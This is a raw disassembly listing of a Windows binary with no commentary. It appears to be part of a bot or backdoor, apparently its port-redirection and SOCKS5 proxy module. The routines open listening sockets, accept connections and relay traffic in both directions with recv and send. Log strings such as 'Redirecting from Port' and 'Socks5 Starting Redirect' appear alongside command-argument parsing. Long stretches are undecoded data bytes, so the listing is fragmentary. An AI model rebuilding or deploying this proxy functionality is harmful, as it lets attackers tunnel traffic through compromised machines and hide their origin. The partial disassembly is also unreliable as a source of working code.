		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		nop
		call	near ptr 2840000h


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; Ï
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0CEh	; Î
		db  54h	; T
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  6Ch	; l
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0F1h	; ñ
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db  4Ah	; J
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2840000h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F40
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F40
		jnz	short loc_42D6DD
		push	offset byte_448F40
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A5D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473E0h, 64E89051h
		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
